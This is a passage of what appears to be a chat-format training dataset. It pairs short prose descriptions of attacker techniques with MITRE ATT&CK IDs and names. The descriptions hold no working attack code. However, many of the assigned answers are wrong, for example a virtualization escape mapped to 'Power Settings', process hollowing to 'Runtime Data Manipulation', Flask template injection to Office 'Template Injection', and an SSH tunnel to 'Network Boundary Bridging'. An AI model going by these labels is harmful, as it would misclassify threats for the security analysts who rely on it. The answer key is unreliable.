                "content": "Through registry permission manipulation, the adversary changes the 'ImagePath' value of a critical system service to execute a payload with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool called the LSA API to list local group memberships on the target system."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool opened a VNC session to remotely view and control the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s infrastructure utilizes Fast Flux DNS to automatically rotate IP addresses for their malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker pads malicious emails with nonsensical text to bypass spam filters that look for concise malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a malicious browser extension to scrape stored usernames and passwords from the victim's web browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised build automation tool to generate a new code signing certificate from the organization’s internal PKI, then signs malware with it."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a file upload vulnerability, the group planted a stealthy web shell written in Node.js to maintain command and control."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the intruder queries the domain controller with `dsquery group -limit 0` to enumerate groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cybercriminals acquired a code signing certificate through a black‑market vendor, using fake identity documents to pass verification."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hosts a counterfeit corporate web portal login page to collect employee credentials when they sign in."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor dropped a custom utility that overwrites the master boot record (MBR) with random data, preventing booting."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware monitors keyboard activity and aborts execution if no user input is detected, indicating it may be running in a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the Default Domain Policy to change firewall rules and allow outbound traffic to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a hidden cron job that runs a download-and-execute script every hour."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the Terminal Services DLL registration mechanism to register a custom COM object that loads a malicious payload during remote connections."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a new local administrator account on compromised Windows workstations to maintain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script establishes a symmetric encrypted channel with the C2 server by exchanging a Diffie‑Hellman derived key, then uses it for command execution."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post-exploitation tool reads the \"Software\\Microsoft\\Windows NT\\CurrentVersion\\ProductName\" registry entry to confirm the Windows edition."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan hooks the clipboard API to steal clipboard items, including cryptocurrency wallet addresses, and forwards them to C2."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor manipulates the PAM stack to call a remote authentication service that logs all login attempts."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor employs reflective PE injection to load its code into the memory of a system process without touching the filesystem."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a stolen code signing key from a third‑party software supplier to sign malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT participants create a temporary email inbox on a disposable mail service to coordinate exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a script, the attacker pulls WHOIS data from multiple domains to map the infrastructure and discover related subdomains."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors altered the federation trust relationship between on‑premises AD FS and Azure AD, enabling them to issue valid authentication tokens without proper credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors generate a rogue certificate to sign malicious PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining a valid local user account via credential dumping, the adversary logged into the system to exfiltrate sensitive files."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker executed a WMI query to launch a command that deletes all partitions on the target machine, causing a total disk wipe."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The software rewrites low-level interrupt routines to drop any abort or stop signals, effectively hiding its execution from defenders."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deploys a backdoor that opens a persistent SSH tunnel, allowing continuous access across the network perimeter."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An observed exploit invoked the __InstanceCreationEvent WMI class to trigger execution of a custom script when a new USB device is connected."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the default Windows password filter DLL with a custom version that logs passwords before delegating to the original routine, enabling credential theft during authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a vulnerability in a virtualization platform to gain access to host systems"
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a bootkit to replace the Windows Boot Manager with a malicious version, enabling code execution at early boot time."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects malicious macros into a Word document saved on a zip file, then transfers the zip file via a USB drive to the target."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used \"report.xls.exe\" to trick users into executing a malicious executable disguised as a spreadsheet."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses the XPC framework to establish a covert communication channel between a compromised user app and a malicious launch daemon."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the UEFI firmware of a server to embed persistence mechanisms that survive OS reinstall."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses public LinkedIn search filters to map out the organizational hierarchy of the target."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs DNS enumeration, extracting A, AAAA, and CNAME records to map the victim's internal assets."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages ROT13 encoding on its internal commands to evade simple pattern matching."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses plaintext passwords saved in environment variables on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script reads the /usr/share/applications directory on Linux to discover available GUI programs."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the init.d startup scripts on a Unix system to include a malicious command."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up an 'at' job that runs a VBScript to download additional malware from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses process hollowing to replace the in‑memory code of a trusted application with malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unauthorized user connects via VNC to a remote system using stolen authentication tokens to exfiltrate files."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers delete snapshot images of virtual machines stored in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes the contents of the SECURITY hive to disk, then parses it to recover password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload terminates the Windows Defender service to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a subscription‑only malware taxonomy database to map observed file behaviors to known ATT&CK techniques."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the remote execution capabilities of PsExec to deliver ransomware via software deployment tools."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltration is performed by sending stolen data encoded in TLS-encrypted traffic over a non-standard port to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the compromised host invokes the NtShutdownSystem API to abruptly power off the operating system."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "High‑frequency login attempts with known credential pairs are detected on the bank's mobile app backend, characteristic of credential stuffing."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer drops a malicious DLL into the application folder, which is loaded by the program due to the default search precedence."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged DNS queries to embed stolen data, tunneling the exfiltration through DNS traffic to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Incident response logs show authentication attempts using the vendor‑supplied default admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups embed commands within Unicode homoglyphs to bypass simple string detection."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spy program captures keystrokes from all active windows and stores them in a local file."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sets up an undocumented hidden user account on the endpoint, ensuring the account does not appear in typical system logs."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the Windows utility InstallUtil.exe to run a malicious .NET assembly, achieving code execution through a system binary proxy."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware swaps out the legitimate system partition with an infected image, ensuring the malicious code runs at every boot."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider spins up a temporary OpenStack instance to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets up a file watcher that records any newly created PDF files and automatically uploads them to a dropbox."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor runs 'driverquery /v' to collect details about loaded drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects specially crafted template directives into a Flask application’s rendering pipeline, leading to remote command execution via template injection."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious link target is embedded in a .lnk file that uses the 'command' protocol to run a PowerShell command."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary places a packet sniffer on the victim's LAN to capture unencrypted credentials."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following credential dumping, the adversary deletes persistence hooks like startup folder shortcuts and autorun registry keys."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use compromised credentials to connect to Office 365 Exchange Online via the EWS API and harvest mailboxes remotely."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise uses data transfer size limits to hide stolen credentials within normal traffic."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains the MAC address and IP configuration of the target machine using the 'ipconfig /all' command."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromised a legitimate software update server and injected a backdoor into the installer, allowing them to later download the malicious payload onto target systems."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary executes 'tasklist' to collect information about processes currently executing on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use search engine dorking to locate exposed documents that reveal internal project names and departmental structures of the target company."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
